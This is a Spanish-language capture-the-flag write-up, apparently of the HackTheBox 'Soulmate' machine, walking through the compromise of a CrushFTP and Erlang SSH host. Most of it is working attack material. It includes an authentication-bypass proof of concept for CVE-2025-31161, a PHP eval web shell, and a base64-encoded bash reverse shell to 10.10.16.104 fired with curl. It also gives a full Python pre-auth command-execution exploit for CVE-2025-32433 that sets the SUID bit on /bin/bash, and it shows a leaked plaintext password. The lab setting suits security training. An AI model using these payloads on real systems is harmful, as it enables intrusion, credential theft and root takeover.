Nmap#
cuando realizo enumeracion siempre suelo hacer (2) escaneos, uno rapido y otro detallado
- Primero el escaneo rapido
nmap -sS 10.10.11.86 --min-rate 5000 -p-
Starting Nmap 7.97 ( https://nmap.org ) at 2025-09-20 00:59 -0300
Nmap scan report for soulmate.htb (10.10.11.86)
Host is up (0.31s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 18.38 seconds
- Luego el detallado
nmap -sCV -p22,80 -oN puertos.txt 10.10.11.86
Nmap scan report for 10.10.11.86
Host is up (0.23s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soulmate.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep 17 10:21:16 2025 -- 1 IP address (1 host up) scanned in 46.70 seconds
Como podemos observar, hasta el momento solo indentificamos dos puertos.Vamos a enumerar el puerto 80, para ver si encontramos algo interesante.
sudo echo 'soulmate.htb' >> /etc/hosts
Dirsearch#
Veremos si encontramos sub-directorios ocultos
dirsearch -u http://soulmate.htb
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12292
Target: http://soulmate.htb/
[01:07:09] 301 - 178B - /assets -> http://soulmate.htb/assets/
[01:07:09] 403 - 564B - /assets/
[01:07:20] 302 - 0B - /dashboard.php -> /login
[01:07:33] 200 - 16KB - /index.php
[01:07:38] 200 - 8KB - /login.php
[01:07:39] 302 - 0B - /logout.php -> login.php
[01:07:52] 302 - 0B - /profile.php -> /login
[01:07:54] 200 - 11KB - /register.php
Task Completed
Al parecer no hay nada interesante, buscaremos si hay sub-dominios ocultos
ffuf#
ffuf -c -w /snap/wordlist/dic1.txt -H "Host: FUZZ.soulmate.htb" -u http://soulmate.htb -t 60 -fw 4
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://soulmate.htb
:: Wordlist : FUZZ: /snap/wordlist/dic1.txt
:: Header : Host: FUZZ.soulmate.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 60
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 4
________________________________________________
ftp [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 346ms]
Encontramos un servicio de ftp corriendosudo echo "ftp.soulmate.htb" >> /etc/hosts
nuclei -u http://ftp.soulmate.htb
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.4.10
projectdiscovery.io
[INF] Your current nuclei-templates v10.2.8 are outdated. Latest is v10.2.9
[INF] Successfully updated nuclei-templates (v10.2.9) to /home/alialucas7/nuclei-templates. GoodLuck!
Nuclei Templates v10.2.9 Changelog
┌───────┬───────┬──────────┬─────────┐
│ TOTAL │ ADDED │ MODIFIED │ REMOVED │
├───────┼───────┼──────────┼─────────┤
│ 3658 │ 186 │ 3472 │ 0 │
└───────┴───────┴──────────┴─────────┘
[WRN] Found 1 templates with syntax error (use -validate flag for further examination)
[WRN] Found 1 templates with runtime error (use -validate flag for further examination)
[INF] Current nuclei version: v3.4.10 (latest)
[INF] Current nuclei-templates version: v10.2.9 (latest)
[INF] New templates added in latest release: 182
[INF] Templates loaded for current scan: 8512
[INF] Executing 8310 signed templates from projectdiscovery/nuclei-templates
[WRN] Loading 202 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[INF] Templates clustered: 1808 (Reduced 1692 Requests)
* [INF] Using Interactsh Server: oast.online
* [CVE-2025-31161] [http] [critical] http://ftp.soulmate.htb/WebInterface/function/?command=getUserList&serverGroup=MainUsers&c2f=1395*
Encontramos una vulnerabilidad critica
CVE-2025-31161#
- https://www.huntress.com/blog/crushftp-cve-2025-31161-auth-bypass-and-post-exploitation
- El siguiente repositio es una prueba de concepto (Poc) que explota la vulnerabilidad
❯ python3 cve-2025-31161.py --target_host ftp.soulmate.htb --port 80 --target_user root --new_user luc4s --password p4ss
[+] Preparing Payloads
[-] Warming up the target
[-] Target is up and running
[+] Sending Account Create Request
[!] User created successfully
[+] Exploit Complete you can now login with
[*] Username: luc4s
[*] Password: p4ss
Nos loguearemos con el usuario creado, une ves dentro, podemos ver que esta cuenta tiene permisos para cambiar la contraseña de los usuarios, entre ellos, la de ben
- Luego de iniciar sesion con el usuario
ben
, encontramos una carpetawebProd
donde al parecer esta alojado el codigo fuente de la aplicacion, tenemos ademas permisos para subir archivos.

Crearemos una shell en PHP y procederemos a subirlo
echo '<?php eval($_POST["a"]);?>' > shell3.php
Luego de ello, Vamos a hacer una shell de rebote
❯ echo 'bash -i >& /dev/tcp/10.10.16.104/9091 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xMDQvOTA5MSAwPiYxCg==
Nos ponemos en escucha en el puerto 9091
❯ nc -lvnp 9091
Ejecutamos la revershell
❯ curl -s -X POST -H 'Content-Type: application/x-www-form-urlencoded' \
-H 'Host: soulmate.htb' --data-urlencode \
'a=system("printf YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xMDQvOTA5MSAwPiYxCg==|base64 -d|bash");' \
'http://soulmate.htb/shell3.php'
www-data#
Una ves dentro, vamos a revisar los procesos que fueron ejecutados en segundo planoHay un script interesante que ejecuto el usuario root
Si revisamos el script, encontramos credenciales del usuario ben
{user_passwords, [{"ben", "HouseH0ldings998"}]},
Iniciamos sesion por SSH y obtenemos la flag de usuario:)
ssh -p22 ben@soulmate.htb
ben#
Una ves dentro de este usuario, vemos que tiene puertos abiertos de manera local
ben@soulmate:~$ ss -tulnp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8443 0.0.0.0:*
tcp LISTEN 0 5 127.0.0.1:2222 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:4369 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:35541 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:9090 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:45869 0.0.0.0:*
tcp LISTEN 0 1 0.0.0.0:4444 0.0.0.0:* users:(("nc",pid=22158,fd=3))
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8080 0.0.0.0:*
tcp LISTEN 0 4096 [::1]:4369 [::]:*
tcp LISTEN 0 128 [::]:22 [::]:*
tcp LISTEN 0 511 [::]:80 [::]:*
Tenemos abierto el puerto 222
del cual es un servicio de ssh erlang
ben@soulmate:~$ nc localhost 2222
SSH-2.0-Erlang/5.2.9
root#
El siguiente posteo en Medium, da una explicacion detallada de como escalar privilegios en SSH-Erlang
- https://medium.com/@RosanaFS/erlang-otp-ssh-cve-2025-32433-tryhackme-e410df5f1b53 En el cual utiliza un PoC, del siguiente repositorio
CVE-2025-32433 https://github.com/erlang/otp/security/advisories/GHSA-37cp-fgq5-7wc2
Siguiendo el mismo planteo, realice una pequeña modificacion al script.
import socket
import struct
import time
HOST = "127.0.0.1" # Target IP (change if needed)
PORT = 2222 # Target port (change if needed)
# Helper to format SSH string (4-byte length + bytes)
def string_payload(s):
s_bytes = s.encode("utf-8")
return struct.pack(">I", len(s_bytes)) + s_bytes
# Builds SSH_MSG_CHANNEL_OPEN for session
def build_channel_open(channel_id=0):
return (
b"\x5a" # SSH_MSG_CHANNEL_OPEN
+ string_payload("session")
+ struct.pack(">I", channel_id) # sender channel ID
+ struct.pack(">I", 0x68000) # initial window size
+ struct.pack(">I", 0x10000) # max packet size
)
# Builds SSH_MSG_CHANNEL_REQUEST with 'exec' payload
def build_channel_request(channel_id=0, command=None):
if command is None:
command = 'file:write_file("/lab.txt", <<"pwned">>).'
return (
b"\x62" # SSH_MSG_CHANNEL_REQUEST
+ struct.pack(">I", channel_id)
+ string_payload("exec")
+ b"\x01" # want_reply = true
+ string_payload(command)
)
# Builds a minimal but valid SSH_MSG_KEXINIT packet
def build_kexinit():
cookie = b"\x00" * 16
def name_list(l):
return string_payload(",".join(l))
# Match server-supported algorithms from the log
return (
b"\x14"
+ cookie
+ name_list(
[
"curve25519-sha256",
"ecdh-sha2-nistp256",
"diffie-hellman-group-exchange-sha256",
"diffie-hellman-group14-sha256",
]
) # kex algorithms
+ name_list(["rsa-sha2-256", "rsa-sha2-512"]) # host key algorithms
+ name_list(["aes128-ctr"]) * 2 # encryption client->server, server->client
+ name_list(["hmac-sha1"]) * 2 # MAC algorithms
+ name_list(["none"]) * 2 # compression
+ name_list([]) * 2 # languages
+ b"\x00"
+ struct.pack(">I", 0) # first_kex_packet_follows, reserved
)
# Pads a packet to match SSH framing
def pad_packet(payload, block_size=8):
min_padding = 4
padding_len = block_size - ((len(payload) + 5) % block_size)
if padding_len < min_padding:
padding_len += block_size
return (
struct.pack(">I", len(payload) + 1 + padding_len)
+ bytes([padding_len])
+ payload
+ bytes([0] * padding_len)
)
# === Exploit flow ===
try:
with socket.create_connection((HOST, PORT), timeout=5) as s:
print("[*] Connecting to SSH server...")
# 1. Banner exchange
s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
banner = s.recv(1024)
print(f"[+] Received banner: {banner.strip().decode(errors='ignore')}")
time.sleep(0.5) # Small delay between packets
# 2. Send SSH_MSG_KEXINIT
print("[*] Sending SSH_MSG_KEXINIT...")
kex_packet = build_kexinit()
s.sendall(pad_packet(kex_packet))
time.sleep(0.5) # Small delay between packets
# 3. Send SSH_MSG_CHANNEL_OPEN
print("[*] Sending SSH_MSG_CHANNEL_OPEN...")
chan_open = build_channel_open()
s.sendall(pad_packet(chan_open))
time.sleep(0.5) # Small delay between packets
# 4. Send SSH_MSG_CHANNEL_REQUEST (pre-auth!)
print("[*] Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...")
chan_req = build_channel_request(
command='os:cmd("chmod u+s /bin/bash").'
)
s.sendall(pad_packet(chan_req))
print(
"[✓] Exploit sent! If the server is vulnerable, it should have written to /lab.txt."
)
# Try to receive any response (might get a protocol error or disconnect)
try:
response = s.recv(1024)
print(f"[+] Received response: {response.hex()}")
except socket.timeout:
print("[*] No response within timeout period (which is expected)")
except Exception as e:
print(f"[!] Error: {e}")
Luego, ejecutando el script
python3 CVE-2025-32433.py
[*] Connecting to SSH server...
[+] Received banner: SSH-2.0-Erlang/5.2.9
[*] Sending SSH_MSG_KEXINIT...
[*] Sending SSH_MSG_CHANNEL_OPEN...
[*] Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...
[✓] Exploit sent! If the server is vulnerable, it should have written to /lab.txt.
[+] Received response: 000003f40814fb69e47bfb19a16cf45a840fb31b269d0000011e637572766532353531392d7368613235362c637572766532353531392d736861323536406c69627373682e6f72672c63757276653434382d7368613531322c656364682d736861322d6e697374703532312c656364682d736861322d6e697374703338342c656364682d736861322d6e697374703235362c6469666669652d68656c6c6d616e2d67726f75702d65786368616e67652d7368613235362c6469666669652d68656c6c6d616e2d67726f757031362d7368613531322c6469666669652d68656c6c6d616e2d67726f757031382d7368613531322c6469666669652d68656c6c6d616e2d67726f757031342d7368613235362c6578742d696e666f2d732c6b65782d7374726963742d732d763030406f70656e7373682e636f6d000000397373682d656432353531392c65636473612d736861322d6e697374703235362c7273612d736861322d3531322c7273612d736861322d323536000000966165733235362d67636d406f70656e7373682e636f6d2c6165733235362d6374722c6165733139322d6374722c6165733132382d67636d406f70656e7373682e636f6d2c6165733132382d6374722c63686163686132302d706f6c7931333035406f70656e7373682e636f6d2c6165733235362d6362632c6165733139322d6362632c6165733132382d6362632c336465732d636263000000966165733235362d67636d406f70656e7373682e636f6d2c6165733235362d6374722c6165733139322d6374722c6165733132382d67636d406f70656e7373682e636f6d2c6165733132382d6374722c63686163686132302d706f6c7931333035406f70656e7373682e636f6d2c6165733235362d6362632c6165733139322d6362632c6165733132382d6362632c336465732d6362630000007b686d61632d736861322d3531322d65746d406f70656e7373682e636f6d2c686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3531322c686d61632d736861322d3235362c686d61632d736861312d65746d406f70656e7373682e636f6d2c686d61632d736861310000007b686d61632d736861322d3531322d65746d406f70656e7373682e636f6d2c686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3531322c686d61632d736861322d3235362c686d61632d736861312d65746d406f70656e7373682e636f6d2c686d61632d736861310000001a6e6f6e652c7a6c6962406f70656e7373682e636f6d2c7a6c69620000001a6e6f6e652c7a6c6962406f70656e7373682e636f6d2c7a6c6962000000000000000000000000004fd9dc2848622e93
Verificamos la bash y finalmente somos root

Bonus#
Una particularidad que tiene el servicio, como ya seguramente lo han notado, es que tiene cargado el modulo del sistema operativoEntonces directamente podriamos ejecutarlo desde la sesion
(ssh_runner@soulmate)3> os:cmd("cat /root/root.txt")